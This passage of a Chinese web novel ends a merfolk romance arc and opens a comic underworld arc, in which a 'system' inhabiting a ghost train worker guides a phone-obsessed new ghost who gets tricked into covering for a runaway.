谢文运和阿满表情极度平静的看他一眼,“你嫂子。” 谢文涛:“oo.O” …… 漂亮的尾巴因为水质问题导致尾鳍有些坏,“什么破水。” 阿满坐在那里看他给自己涂药,“没有疼的感觉。” “就算不疼坏了也不行。”谢文运仔细的把尾鳍看来看去,“我从外面买的净化装置快回来了,等回来给缸里安上试一试,不行就再想办法。” “我感觉可能是我刚接触这种水。”阿满说,“适应适应就好了,我们鲛人要是没有适应能力早死了,不过说实话你们这儿的水质可真够差的。” “好多以前的生物都灭绝了。”谢文运说,“再往前推个几百年工业革命海更浑。” 尾鳍已经全都涂抹上了药,放在这里一会儿就吸收的很好,谢文运想跟阿满再这么挨着待一会儿,但处于他身体的考虑还是作罢。 阿满回到缸里却没进去,鱼尾泡在水里上半身撑着缸边朝谢文运努嘴,“亲一下。” 有些湿漉漉的嘴唇落上来亲了好几下,阿满垂着脑袋深深的凝视着谢文运,他看了会儿谢文运还是没有要说话的意思,于是他只好主动问了,“你为什么不高兴?” 谢文运一怔轻轻开口,“我没有不高兴。” “就是有。”阿满很笃定,“从你今天早上迟到开始,你平常都是八点来这里。”阿满指了指最中间给他看时间的钟表,“不要骗我,不然我就跳缸了。” 谢文运有些安静的看了看他漂亮又清澈的眼睛,一时间不知道该说什么。 他确实不高兴,从今天早上开始。 史无前例只存在于传说种从未有实物出现的鲛人突然出现当然惹来了不少对他感兴趣的,有的看重阿满的商业价值,有的是生物疯子,层出不穷的人或许因为忌惮谢文运被打消了不少,但依旧也有谢文运需要礼待的人在里面。 今天早上来的人就是个生物疯子,毕生研究在此前并不确定到底存不存在的鲛人,得到了这个消息立马来向谢文运讨要一个鳞片,一管血液,甚至想要阿满的一点点皮肤和毛发采样。 谢文运当然不可能答应,只是他依旧心有顾虑,现在他能护得住阿满,那等他护不住或者死掉呢? 现在外面武器的先进程度远远大于阿满以前见过的事物的想象。 即使没有询问过,但鲛人的寿命毋庸置疑的大于人类。 这个世界也许并不是阿满最好的归宿,他应该待在原来的那个世界。 “我就是想我是不是不该把你带来这个地方。”谢文运说,“这个地方水不好,我成天有工作,你只能自己待着。” “我可以变出双腿到处走啊。”阿满说,“缸里还有这么多小鱼小虾,他们也听得懂我说话。” 阿满总是会避重就轻的用一些话来宽慰转开话题,谢文运安静了下并没有如他的愿顺着他的话下坡,“那我死了怎么办,我们家可没长寿基因。” “……”阿满抿住了嘴巴看他,过了会儿笑了下,“你担心这个?就算再不能活不也有几十年么,我在遇到你之前就已经活了好久好久了,仔细算算可能还有四五十年五六十年也就没得活了。” 谢文运不太信,一个生物不论壮年还是老年都有相应的特征,阿满现在明显就是正值壮年的样子,可他也没继续说这个。 这种事情太遥远,甚至还有十几年几十年,只是爱意让他现在就充满担忧,光用嘴说去担忧并没有用。 不管怎么,他将为阿满铺好后路。 …… 谢文涛接到律师电话的时候正在那里静静的坐着等待,林叶炆也在旁边,他直接按了外放。 “谢先生,根据谢总临终前遗嘱,其名下所有股份以及不动产车辆基金皆由您来继承,具体公证在不久前已经完成,预计一周后会再次进行第二次认证以及更名。” 谢文涛听律师说了半天财产问题,“我嫂子呢?”他想了想律师或许把嫂子跟那条鲛人对不上号,于是重新询问,“鱼呢?” “按照谢先生本来的意思是要求您委托相关人员将其送至太平洋,但……”电话对面的声音有些迟疑,“现在阿满先生并不愿意与我们交流。” “您还是亲自来一趟为好。” …… 谢文涛以前想过等他哥没了直接发射到外太空了事,但现在多了一个需要处理的遗孀,只是这遗孀是一条社会各界早已虎视眈眈的鲛人。 现在只需要尽快,以最快的速度将鲛送走,送去哪里都好,就是不要待在这里。 他到的时候律师正站在屋子中间,那条本来以为该站在这里的鲛人不知所踪,他看了一圈试着叫了声,只见一直不肯露面的鲛人从上面游下来贴着缸壁朝他招招手。 他年纪上来了,腿脚已经不算灵便,但眼前的鲛人还保持着当初见到第一面的年轻漂亮,见他靠近阿满嘴巴没有动,但声音却清楚的传到了谢文涛耳朵里,“把我跟他都送进大海吧。” 谢文涛思考了下或许让阿满带走进入大海也是一件好事,于是点点头以示应允,“出来吧。” 缸里的鲛人却摇摇头再次往上游。 现在爬螺旋状楼梯有点难,谢文涛朝反方向走准备去坐直梯,刚一转身就听到了砰砰的巨响。 特制的玻璃材质极其坚硬,经过多种测试在绝大部分情况不可能会碎裂,砰砰的声音像是某种物体用尽全力的撞上去。 谢文涛不走了,慢慢回头去看。 一条漂亮的鱼尾软软的耷拉着,浓密的头发像是海藻一样漂浮在附近,阿满双手微微垂着从上面慢慢落下来,又因为浮力原因没法完全沉到底。 不属于这个世界的、在光下闪着让人目眩的色彩的鲛人撞缸而亡。 同归大海。 【归于大海——完】魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 90-100 第91章 第九十一章 月台 “哇啊啊啊啊——!”一个壮汉哭出狗嚎, “我好不容易挤上来啊!挤死我了当鬼怎么这么难!” 他正嚎着,一阵风带过,壮汉稀奇的咦了声, 连哭都忘了哭,他抽了抽鼻子,那股香味已经散掉了。 周围鬼不约而同的怔愣却找不到刚才的香味来源, 毕竟身为鬼,他们已经许久没有闻到过味道了。 那香味似乎是……荼蘼花。 秦靖快速的穿过一截又一截车厢, 所过之处鬼魂不约而同的静下来,他并不抬头看这些或老或少、或寿终正寝或死于非命的鬼魂。 在所有鬼魂安静下来以后, 一个嘤嘤嘤哭的声音格外明显。 他身上的香有帮助凝实魂体, 安抚鬼魂的能力, 很少有闻过还能闹腾起来的。 而且能哭成嘤嘤嘤的, 真有意思。 秦靖略微停了一两秒看那嘤嘤嘤声音来源处。 很苍白, 但不难看出眉眼清秀, 很有书卷气。 但这个很有书卷气的鬼一屁股坐在地上,抱着腿嘤嘤呜呜的哭。 一边一只鬼看不下去了, 略安抚了几句。 那鬼愣了几秒,嚎声惊天动地, “哇啊啊啊——!我刚考上的大学啊!我在XX考上的双一流啊!哇啊啊啊,我要死了!” 虽然挺不地道的, 但秦靖没忍住笑了一声,这截车厢的鬼想必也是这么想的, 摇头的摇头,哭笑不得的哭笑不得,共情的共情。 其中有一鬼魂神情懵懵,本来就没有凝实的魂体几息之间几乎要散掉。 秦靖飞速拎起那鬼的衣领, 轻而易举且富有‘技巧’甩,把这鬼脑子里即将和成面的水和面粉分开,这鬼的身体也凝实不少。 他立在原地的这几秒,整节车厢的鬼都在看他。 身上干净整洁,魂体清晰且游刃有余的模样与一车厢死时样貌相比的鬼实在整洁了不知多少倍,况且还很香。 有鬼戏称他们这些鬼身上的香像是鬼界鬼薄荷似的,太上头。 “好香……” “真挺香……” “这是谁,鬼差?” “黑无常吧……?” “……黑无常都穿这么潮?” 秦靖诡异的沉默了几秒,低头看了眼自己身上的黑色冲锋衣。 耳边又是一堆兴奋的声音。 “他能听懂人话啊?” “……” 总归见了这次都不一定能打第二次照面,秦靖并不搭理他们,转身欲走。 刚转身,那考上大学还没上的倒霉鬼又嘤嘤嘤开始哭,秦靖纳闷的看他一眼,继续走。 直到走完车厢,秦靖目标明确往驾驶室走。 杨正明回头看了眼,见是秦靖又转回去专心开车。 秦靖心不在焉摸着手腕上黑色皮质手环发呆。 杨正明看见他扯手环就觉得牙酸,“不疼啊?别扯了。” “开你的火车,小心车毁鬼亡。”秦靖淡声开口。 杨正明连连摇头,还是专心开自己的车了。 秦靖没心思在这儿看他开火车,转身去了专门隔开用于休息的小隔间把衣领往上拉了拉靠在那里闭上眼睛,他不想搭理自己身上的系统,它自己反倒嘿嘿嘿的出来了。 【嘿嘿嘿……】 “我打死你啊!”秦靖伸手做了个打的姿势,朝着449翻了个白眼。 449——他的一生之敌,也就是那个稳居万年老二最后把他给反超了的系统,他看着449笑嘻嘻的就火大,恨不得把它抽的像个陀螺似的转。 449连忙举起手挡了下,【这么火大干什么!】 贱是一种气质,449很明显的浑身上下都是这种气质,由内而外的发散让统难以忽视。 “你贱成这样你宿主怎么没打死你。” 449立马激情互喷,【滚!你都没被打死我怎么会被打死!】 “我已经不贱了!而你,依然那么贱!”秦靖张口就喷。 449不说话了,直接把剧情投在大屏上给他看,拒绝跟996交流。 【死亡并不是一切的终结,而是下一个开始。 每到时间那趟通往黄昏的列车总是在这条铁路上往返运行终年不停,死去的亡魂乘坐着车辆通往下一场旅途。 地府维持着自己的秩序并不断补充新鲜血液,亡魂在地府种游荡往来,并不是所有亡魂都能再次重返人间,其中在地府种担任各处的公职人员无疑让他们羡慕。 只是他们并不清楚这种人员的选拔到底是什么标准,只能眼巴巴的看着在他们眼里光鲜亮丽的工作被他鬼拿走。】 秦靖再次拉了拉手腕上的黑色手环,手环每次弹到手腕上都会有种让鬼头皮发麻的痛感。 449用背对着秦靖跟他解释,【实际上所谓的公职只是免费给地府打工,你们这群全是死后成为恶鬼的角色,人死后不一定能全成为鬼,能成为的有的会滞留人间,有的恶鬼会被人间的捉鬼师给捉走,至于没被捉走的就会被地府拉过来打工,普通能进入地府的鬼至少有投胎的机会,有地府管着魂体也不会消散。】 【而你们要被榨干最后一点价值直到消散为止。】 秦靖理解的点点头,恶鬼恶鬼,看名字就是能为祸一方的鬼魂,放在外面早晚有天会造成大祸,地府这么干也算是废物利用。 【但是没有哪个甘心成了鬼还要日复一日的打工,最后还得死在地府里,秦靖就是其中之一。】 449摸了下秦靖手腕上的黑色手环,【地府靠这个来检测恶鬼们的魂体波动,如果恶鬼试图把这个摘掉会有一定惩罚,非要打个比方的话类似电击,在恶鬼们做出轻微错事时手环会将信息传递给地府监控中心,后续也有相应的惩罚,如果恶鬼试图杀鬼等这一类的行为,会被直接打散魂体。】 秦靖:“那要是别的鬼先动手我反击呢?” 【只要动手就算。】 秦靖不说话了,这行为非要说的话确实有点偏激,但为了所谓安全来宁可错杀一千不可放过一个从某种程度上也不算错。 【在地府新上任一把手后认为恶鬼也有人权,觉得这种办法太过偏激,于是在缓步尝试别的方法来控制这些恶鬼。】 【就在这个时候,机缘巧合下,秦靖遇到一个年轻男鬼,也就是刚才那个十八岁准男大,总之在各种巧合下这个男鬼就缠上秦靖了,秦靖也帮了他几下。】 【中间互帮互助的事情略过不谈,秦靖其中某次因为这个男鬼还了次手,甚至回去受了次罚,也是因为这一次,秦靖进入了一把手的视线,一把手认为鬼都是由人来的,也有人有的七情六欲,是否可以通过来控制家人、朋友、爱人来达到约束这些恶鬼的目的,一把手直接把秦靖当作了第一个实验对象。】 【那么在秦靖后续知道了这件事后直接被点醒,顺水推舟做了一堆事让别人误以为他对这个男鬼确实有极其深厚的情谊。】 【在蛰伏许久后,男鬼被当作某种人质被留在地府,秦靖得以能离开地府去人间完成一些任务,在某次任务途中,秦靖逃了。】 秦靖试探道,“那个男鬼死了?” 【死了。】449说,【这种实验本来大部分鬼都不同意,秦靖的出逃更是狠狠给了一把手一耳光,男鬼被泄愤,顺手杀掉了。】 秦靖轻轻吸了口气,“那秦靖呢?” 【秦靖自从开始那么干就打算让男鬼去死了,相处那么久最后还是选择离开也就没想让男鬼活。】449说,【秦靖出去后为了防止自己被地府追查于是开始吞噬在外游荡的鬼魂,总之最后成了为祸一方的大鬼,最后被主角当boss刷了。】 这任务挺简单的,秦靖想,就是很俗套的剧情,如果秦靖最后真的对男鬼生出了点情谊没有跑而选择留下大概会成为一个别有目的靠近老婆满腹算计结果爱上追妻火葬场的故事,但很可惜并不是。 休息室里的喇叭跟车厢内喇叭同步开始播报,“旅客们,下一站是本站的终点站,月半站,请拿到月半镇居住卡的居民下车录入身份有序听从安排,请仔细看您的居住卡,如果有非月半镇没有及时下车的旅客,请在原位等待,会有工作人员安排明日返程路线。” “在月半镇下车的旅客请在十分钟内下车,听到提示音时请勿穿过车门。” 秦靖坐在休息室里等了会儿,外面杨正明就敲了敲门,“我先去溜一遍,你就在一车厢等着吧。” 秦靖含糊的应了声又等了十分钟才走出休息室往一车厢走,里面零零散散待着差不多十几个鬼,等一会儿所有工作人员把所有车厢都检查了一遍又带来几个,坐过站的差不多得有二十五六个。 秦靖在里面看见个自己没想到的身影——那个嘤嘤嘤哭的男鬼。 但他只是飞快看了眼就挪开视线,“返程的车在明天上午,火车会一路返回到昨天接你们的地方再去接别人,今天大家都是统一居住,明天一定要看好自己是哪个站下车,因为返程的火车上很乱也没有空余座位。” 他随意安顿了几句,就让开位置站在门旁边示意他们往出走,等那个男鬼要出去的时候拦了下。 “居住卡看一下。” 996:我不是把有鬼的世界踢出我的任务名单了么??? 第92章 第九十二章 莫非他对我一见钟…… 前不久还嘤嘤嘤哭的男鬼现在看起来情绪已经很稳定了, 眨了下眼指着自己,“我?” 秦靖表情有点冷冷的嗯了声。 秦靖长的很唬人,唇薄鼻梁过分直, 看起来并不是什么宽和的面貌,有点过分的冷,男鬼愣愣看了他几秒硬生生没开口说出来话。 直到秦靖再次发出一个疑惑的嗯字时男鬼才站的很直一副挨训的站姿结结巴巴开口, “丢丢了。” 秦靖居高临下看见这副站姿没由得想到自己之前在安琪面前是不是也是这么一副姿势,顿时可疑的沉默下来, “叫什么名字?” “邝松云。”男鬼的声音还是小小的。 秦靖直接查询了下这个名字,直接把屏幕转过来给他看, “你就是月半镇的居民, 现在要往哪走, 站我旁边等着, 一会儿带你从别的地方出去。” “哦……”邝松云很底气不足的答应了一声就继续保持自己的小学生挨训姿势站好了。 剩下的秦靖没去看, 等他的任务结束了随意跟同事说了几句话就带着邝松云出去, “跟我走。” “先补办,出去干什么都得居住证。”秦靖带着他往那边机器那里走, “居住证相当于人类社会的身份证,自己拿好了。” 他站在那点了几下让开位置, 邝松云看他的脸色,很不确定的往机子面前一站继续抬头看他。 “看我干什么, 看摄像头。”见邝松云还发愣秦靖直接伸手按住他的头顶让他面对着摄像头,扫描了几下面部信息不到一分钟一张还冒着热气的居住证就新鲜出炉, 他站在一边看他拿起来就率先往右边走,到了一定地方指了指那个门,“去那里,把居住证递给他们, 有钱就提前备好,然后拿钥匙,他们给你地图,自己去找。” 邝松云看起来又呆了,“……什么钱?” “天地银行的钱。” 男鬼脸都憋红了,憋了好一会儿才开口,“我没钱,我爸妈不搞封建迷信,不弄这个。” “没钱也没事,住的地方肯定差一点,问你直接说没钱就是了。” 地府里没钱的海了去了,有跑上去抢钱的,还有在底下挣钱的,总之家里人不烧也只靠自己了。 “嗯。”邝松云嗯了声看起来不太在意这个住的地方差这句话,眼里带着点说不出的期盼和渴望看秦靖。 秦靖:“?” “不认路?” 邝松云好像想说什么,但又没说,只是特别不好意思的嗯了声。 秦靖跟宿主刻薄惯了,现在很想刻薄的说话,但理智告诉他这样不行,他很艰难的把刻薄的话全咽进肚里给了任务对象一百二十分的耐心,“走。” 直到跟着邝松云领到地图和钥匙,再把他带出站给他指了方向,邝松云还是用有点渴望的目光看他。 秦靖:“?” “不认路?” “嗯嗯。”邝松云重重点了两下头,“怕丢走。” 秦靖狐疑的看他一眼,有点疑惑剧情里所谓机缘巧合就是这个? 那这可真太机缘巧合了。 他就没见过这么硬的机缘巧合。 饶是感慨有的剧情为了所谓机缘巧合真是智障他还是给邝松云指路去了,不为别的,这事关他996的尊严之战。 他刚来这个世界没多久,最开始都在熟悉自己要打的工和在成天要相处的同事面前不露馅,所以他当然没有见过这种所谓不交钱的房子到底是什么样,环境差也是从‘秦靖’的记忆里才知道的,只是他显然对这个环境差没有一个明晰的认知,于是在按照给的地图到达地方后秦靖也愣住了。 窄窄的仅供一人可通行的门,看起来四四方方可能进去都不能舒展开双臂的房子,那么一片一摸一样的小房子像是蜂巢一样坐落在那里,邝松云打开门让开了位置,秦靖看了眼实在不知道该往哪下脚,毕竟房间里只能放得下一张床和一条通往大门的窄窄的过道,能坐的地方也只有床。 秦靖:“……” 他以为自己住的那个二居室已经够小了。 秦靖站住不打算再进去了,“行了,记不住路自己多走几遍认一下。” 邝松云立马睁大眼睛诶了声,然后就眼巴巴的看着秦靖不知道该说什么,过了几秒才干巴巴的开口,“你进来坐坐?辛苦了。” 秦靖:“?” “我往哪坐?” 邝松云探头看了眼,立马钻进去把床上并不存在的灰拍打拍打,“现在可以坐了。” 秦靖再次狐疑的看了他一眼,随即进去坐在床上看他到底想干什么。 邝松云像个无头苍蝇似的到处转,实际上是原地乱转,转来转去整个家都空空如也。 “找什么?”秦靖问他。 “……水。”邝松云表情很老实的看他。 “……鬼不喝水,咱们这儿没有水。” “哦——”他长长的哦了声,“我还说给你倒点水喝,一直麻烦你。” 秦靖更狐疑的看了他一眼,“直接说想干嘛,别讨好没用。” 他猜邝松云是不是想搞点钱?或者刚来人生地不熟抓住个能说话的就不肯撒手,毕竟要是在人间十八才刚高中毕业要去上大学的年纪,刚刚结束十二年的读书生涯什么都没接触就噶了有点恐慌也正常。 只可惜邝松云要是想问他借钱那是找错人了,他都在给地府打白工,他们这群要是想挣钱门路当然多的很,可哪个都不敢轻易在地府里搞钱,怕被扣个安了异心的大帽子直接把魂给散了。 邝松云却低着头不肯说他到底想干嘛,只是不断的拍打床上并不存在的灰尘以示自己对秦靖的重视,还时不时用期待又渴望的眼神看一看秦靖。 秦靖:“?” 秦靖觉得自己到底是个靠数据分析得出结果的系统,不应该来参加这种人类该完成的任务,毕竟他到底没法完全猜透人类的脑子在想什么,就算他有高强度的大脑和精密的计算功能也无济于事,人类实在太过神秘,秦靖看不透。 推理系统疯狂的计算,秦靖甚至在思考他是不是饿了,像是还不会说话也没法明确感知到自己到底是怎么了的人类新生儿一样,鬼界新生儿也分不清自己到底是哪难受。 “你饿了?” 邝松云下意识摇摇头,然后摸摸肚子又点点头,“好像?”他说完就有点不好意思,“我不是想跟你要饭……” 秦靖敷衍的嗯了声从身上的口袋里去找那一个口服液大小的拧着塑料盖的小瓶递给他,“吃这个。” 鬼不进食会有一种空空荡荡的感觉,有点像饥饿感,但又不完全类似,就算不进食也不会饿死,不过有些贪吃鬼喜欢饭的味道就算死了还会专门去人间吃饭大快朵颐。 而在地府的吃饭就与人间大不相同了,秦靖手里的这个可以让鬼保持相当长的饱腹感,也有安抚安稳魂魄的功能,是地府专门给他们这群恶鬼配出来来降低暴动概率、安抚魂魄的,普通鬼吃了也没事,因为他们吃的跟秦靖这个也差不多唯一不同的就是缺少了镇定,只有饱腹和稳定魂体凝实的功效。 邝松云说了声谢谢才试着拧开,通体漆黑的瓶子里装着的气体慢慢翻腾,他第一次接触这种东西,含住了那个小小的出口试着一吸,里面的气体就朝邝松云嘴里缓缓流动。 他本来以为没有什么触感,没想到气体进嘴没有及时吞咽掉将两颊都撑的稍微鼓起来一点,他咽了一大口又把喉咙给撑到了。 秦靖静静的在一边看他吃,“吃完瓶子直接扔掉。以后要是想吃饭得靠自己赚钱或者家人给你烧,感觉魂体有些散不怎么结实的时候可以吃点往实凝一凝。” “嗯嗯。”邝松云又点点头。 秦靖打算走了,他跟邝松云又不熟,就算熟那也是以后的事,现在坐在这里没话可说就大眼瞪小眼,正好明天他不上班,干脆现在回去躺着吧。 正这么想着突然有鬼打电话来了,秦靖掏出一看——杨正明。 “秦子,你明儿是不是不上啊?” 电话对面稍微有些失真的声音传到秦靖耳朵里,他嗯了声,对面又笑了下。 “那你明儿替我一下成不成?”杨正明说,“我明天就是值班,然后我三天后休息,那天我来替你。” 秦靖无所谓,答应了一声,对面千恩万谢的挂断电话了。 他把手机放回兜里打算跟邝松云说一声就离开,再次抬头就又对上了他那双带着期盼和渴望的目光。 秦靖:“?” 秦靖这次没有满头雾水,不知道怎么回事,他突然福至心灵的想起了自己的上一个宿主谢文运,阿满不就一上来对宿主很热情么,那是因为什么——一见钟情! 那邝松云为什么一上来对他这么热情,秦靖暗暗想,诚然,他的脸在人类眼里相当好看,身高体型也很优越,一顶一也不为过,那么邝松云对他一见钟情才这么热情的用期盼的目光看他就解释的通了。 原来邝松云对他一见钟情啊! 第93章 第九十三章 想玩手机 他稍微咳了下, 本来打算走的屁股又稳稳坐了回去,表情稍微有点矜持的看了看邝松云,他也不说话, 就是那么稳稳坐着等,终于,一直是那副期待表情的邝松云抿了下嘴巴, 眼睛很亮的开口,“你刚才拿的是手机吗?” 秦靖:“?” “是。” 他显得更不好意思了, “有网吗?” 秦靖:“?” “有。” 邝松云垂着脑袋双手在身前扭啊扭,万分羞涩的开口, “我能不能玩一玩?” 秦靖:“?” “你刚才、一直对我这样那样的……是想玩手机?” 邝松云对上秦靖哑口无言的表情连连摆手, 然后用大拇指和食指比了个一点点的姿势, “一小半吧。” ……他讨厌网瘾少年。 秦靖:“哈哈。” 秦靖笑这几声把邝松云给惊到了, 现在他脸上的表情不像在笑, 反倒像是被气疯了, 然后邝松云就诉说自己的悲惨经历试图博取一下同情拿到手机。 他颤颤巍巍落了泪,说着说着又哭出了嘤嘤嘤的调子, “我刚高考完,我爸妈答应好高考完给我买新手机, 我之前都没咋玩过。”他说着嘤嘤嘤的更大声了,一脸命苦, “好命苦。” 并没有高考过被管制电子产品的996并不是很能理解邝松云,但也不妨碍他感到无力与荒谬。 秦靖遮着半张脸, 很无力的把手机掏出来放床上,“你玩吧……你玩吧。” 拿到手机的邝松云暴雨转晴,彻底玩嗨了玩美了,秦靖没接触过网瘾少年, 也不明白对手机的瘾到底有多大,最开始很耐心的坐在那里等,等了一会儿靠在墙上看,看来看去有点无力的倒下睡觉了。 本来打算回他二居室的打算就这么被搁置,等他再醒来已经是第二天早上了,秦靖一睁眼就看见邝松云跟他一起挤在这张单人床上,双目炯炯有神的盯着手机屏幕狂玩。 秦靖:“?” “你没睡觉?” “没有。”一晚上没睡觉也不妨碍邝松云双眼发光,很依依不舍的从手机上把眼睛扒下来抽空看了眼秦靖,然后就是一脸惊喜的样子,“这手机不掉电啊!” 他很高兴的看秦靖,“这里面的队友是人还是鬼啊?” “人。”秦靖在小床上睡了一晚上浑身酸痛,小房子里他甚至都没法直起腰,更别提舒展一下,“地府里买不到手机,一般鬼用不了。” “哦——”邝松云看起来又失落起来。 秦靖稍微整理了下衣服就朝他伸手,“手机,我上班去。” 邝松云依旧依依不舍的把手机放进他掌心,“你还回来吗?” “你回你家,我回我家,” 秦靖现在不想看见这个网瘾少年,接过手机就往外走,邝松云又像是天塌了一样坐在床上,表情哀哀切切,恨不得长在秦靖身上跟着他走,只是这是一种美好的幻想,秦靖不可能带着他,扭头毫不犹豫的走了。 …… 【哈哈哈哈哈哈哈哈哈哈嘎嘎嘎嘎嘎!!!】 他出来449就笑出了鸭子叫,秦靖打开手机相机很怀疑的看了看自己的脸,思考自己比起宿主好像也不差,怎么这个任务对象眼里只有手机根本没有他。 为什么!! 他出奇的愤怒。 第一个宿主没几天就亲嘴,第二个宿主任务对象一上来就睡一张床,第三个任务对象上来直接同居老公老公,第四个宿主跳海里也亲了一遍,怎么到他这儿就成了个爱手机的网瘾少年?!! 他不想是一回事,没有那就是另一回事了。 有人算计他,秦靖确信。 “有人算计我。” 449继续笑出鸭子叫,【哈哈哈哈哈哈哈哈嘎嘎嘎嘎嘎!!!你不要找借口了】 秦靖:“哈哈。” …… 秦靖真的没有去找邝松云,不是不做任务,当然也不是不愿意看见任务对象,而是慢做、缓做、有规律有计划的做、不无脑做、不跟风做,要兼顾现实情况灵活的去做。 所以根据现在的情况来看还是先把邝松云放一放吧。 只是他把邝松云先放下了,却忽略了世界意识修正剧情的决心与行动力,自此以后他总能在各个离谱且邝松云不该出现的地方遇到他。 譬如他的休息室。 秦靖:“?” 秦靖:“你怎么在这儿?” 邝松云睁着无辜的眼,“我在路边站着,有个鬼特别着急一把薅着我让我替他上一天班他给我钱,我很饿,就答应了。” 秦靖一口气差点没上来,立马转身狂戳449,“快点,快点反馈这个世界出bug了,就说事情发展不合逻辑,强行偶遇……” 他说了一大串,449被戳的滚来滚去也懒得回话,等他平静下来才懒洋洋开口,【你很帅真的,特别帅,帅的炸裂天际,你直接去跟他说让他夸你帅就好了。】 “这么不要脸。” 【你以为人家对你一见钟情就很要脸了?】449不无鄙夷的开口。 秦靖:“……” “你有病?”秦靖直接把449给屏蔽掉了。 他无力的看了邝松云几秒直接把手机塞给他了,“玩吧。” 天降馅饼直接把邝松云砸晕了,连连问了好几句可以吗才放放心心占据了只能坐下一个人的休息室,秦靖很无语的去外面站着了。 他们每天要做的工作内容高度重复,每天早晚各一趟火车,人数虽然多有轮班休班制度,但除了跟火车还要负责巡逻安稳魂体,有些在地府待了太久都没有投胎的灵魂被污染失去了一部分神智会在悄无声息间消散,这种就需要他们去找。 总之看似简单各种繁琐的事情很多。 等到了要上车的黄泉站上来的什么样儿的都有,有一部分甚至还沉浸在死亡时的恐惧中,乱糟糟更加大了管理的难度,秦靖再次麻木着表情穿过一截截车厢去让自己身上的香散播在每一处。 他刚走到四号车厢前边的杨正明就一路挤过乘客过来了,远远在鬼堆里看见他立马跟他招手拉到车厢连接处站住了,“不是你不看手机啊,我手机上叫你半天没反应。” “手机不在身上。”秦靖看了眼,“事儿不着急就一会儿再说,前面还有三节车厢。” “不是就问个话,你见小王了么?” 秦靖稍微皱起眉想了几秒,“哪个小王?” 杨正明一猜就算说大名秦靖也不认识,干脆开始给他描述特征,“就是戴可厚眼镜片毛寸的那个。” 他这么一说秦靖就想起来了,“没见,他怎么了?” “他跑了!”杨正明说,“没来上班悄无声息跑出去了,手腕上那手环不知道怎么也没反应,上面就问下来了,结果今天咱们发车的时候人数是够的啊,谁知道他没来人怎么够的。” 秦靖只是皱了下眉正准备继续做自己的,突然想起了什么,“等会儿……” ‘我在路边站着,有个鬼特别着急一把薅着我让我替他上一天班他给我钱。’ 杨正明已经打算继续往后走了,秦靖立马反手拽住他的胳膊,“手机联系完没,要是完事了给我用用,我一会儿还你。” 杨正明也不大介意的把手机给他了,结果正准备走又被秦靖给拉住了,“咱们今天没点数,就粗略看了眼觉得差不多就开车了。” “没点吗?”杨正明一脸惊讶,“怪不得呢。” 简单跟杨正明交涉完他立马返回驾驶舱的休息室去找邝松云,这个刚十八的男鬼还一脸乐呵的坐在那玩手机,丝毫不知道自己被别的鬼给当成替死鬼了,秦靖直接单手把鬼拽起来,“起来,读书读傻了你?随便来个鬼让你替上班都敢来上,防诈教育学哪去了。” 邝松云还是懵懵的根本不知道发生了什么,秦靖直接拿过手机,“看清楚了聊天软件密码4621,这个备注杨正明的号给你发消息再说,别的不用理。” 他伸手把邝松云的头发扒拉乱,“把手机放好了,别随便往外掏,坐在那装刚上车知道吗,别的鬼跟你说话就装听不懂。” 秦靖没多跟他解释,就算解释了现在的邝松云也不一定能听得懂,按照地府现在宁可错杀一千不可放过一个手段要是查到他这种小鬼身上,哪怕是明知道不关他的事,把他扯烂打死也就是顺手的事。 丝毫不知道自己可能被扯烂打死的邝松云顶着一头乱发直接被秦靖按在了鬼堆里,安顿好这学生鬼后秦靖就往后走,一边走一边看路上能不能碰见杨正明,结果马上到下一站停靠,只好暂时站在车厢连接处停住了,他感觉停的太久了点,往外一探头就看见之前见过一次的检测中心的鬼来了。 “诶——秦靖!”那鬼已经眼尖的看见了他,干脆直接从这节车厢上来了,秦靖也就顺势站住了,从身上摸了下递给他一支地府特制的烟: “你们这次怎么下来这么快啊,我还以为要在月半站才能看见你们呢。” 这鬼轻轻啧了声,小声道: “管理那玩意儿想往别的地方调,这个时候出这种事肯定着急。”他慢慢开口。 “再说了,这事要是压不住心思都活起来直接乱套了!” 秦靖应和了声,“主要是这次不凑巧了,我们谁都没点数,结果不清楚他没来,你看这下搞的。” 那鬼很不在意的嗐了声,“关你们什么事啊,谁不知道你们整天来来回回的辛苦,腿长他自己身上跑了还能怨你们,放宽心,我们就是上来绕一圈下一站就下了。” 秦靖笑着嗯了声,手在背后冲杨正明摆了摆。 第94章 第九十四章 替死鬼 检测中心的鬼确实没多待, 上来也只是形式化的走了一圈甚至连今天跟车的鬼都没问,到下一站就下车去交差了。 秦靖提前预备好的手机也没用上,把它还给杨正明后去一车厢找邝松云, 因为突发情况本来就没有安抚好的魂体堪称群魔乱舞,秦靖一路走过来看见无数个血淋淋的鬼,还有好多能正常思考问题的鬼被这些鬼吓的哇哇乱叫, 到了一车厢在原位没看见邝松云,反倒看见还没有自我意识血糊糊的鬼在那里叠罗汉。 他绕开叠罗汉的鬼正准备去犄角旮旯找一找, 就听见不知道哪里发出的一点微弱的声音。 “救命……救我!秦靖!” 最开始那几声他没听清楚,最后一声秦靖把他给叫住了, 再次追寻着声音去找来源, 却发现似乎是……叠罗汉的最下方? …… 邝松云被糊了一身血, 表情极度惊恐, 被秦靖从鬼堆里面救出来的第一句话就是:好多鬼啊! 秦靖:“……你难道不是鬼么?” “……我是。”邝松云一时卡了壳, “但我不是他们那种鬼!” 他来回看了遍确实觉得那边太过凄惨, 身为一个嘎掉时干干净净的鬼有点怕这种似乎也是正常现象。 他对邝松云实在没话说,也辛亏下一站就是月半站, 到了地方秦靖跟杨正明说了声提前下班先把邝松云带走了,这次直接回了他那个两居室。 他往那一坐, “你能不能有点心眼子,真读书读傻了?突然来个鬼让你上班你就上?不觉得像诈骗?” 邝松云很小声, “我以为鬼没有这种的。” 秦靖的脑袋上缓缓冒出了三个如有实质的问号,“鬼不是人变的么?” “我忘了, 突然变成鬼脑子转不过来这个弯,我就以为鬼没有这种的。”邝松云很诚实。 “来——听我说,在外面陌生鬼给的东西不要吃,陌生鬼说让你帮他干什么事情然后给你钱你也不要干, 陌生鬼……” 秦靖正说着,邝松云就一副欲言又止的样子,于是他靠在后面扬扬下巴示意他说。 邝松云:“可是我不干我怎么挣钱啊?” 秦靖扶着脑袋又低声呵呵呵的笑了起来,449出来看了一眼就藏回去了,他感觉996又要气疯了。 “没让你完全不干,让你分辨好再干,仔细甄别了再干,想清楚再干,别一头雾水的干。” 邝松云:“你说的有道理。” 秦靖:“……” 这样一看就没进脑子里,秦靖很抓狂,“你们没有素质教育吗?” 邝松云思考了几秒,“我们只教写卷子。” 秦靖:“……” * 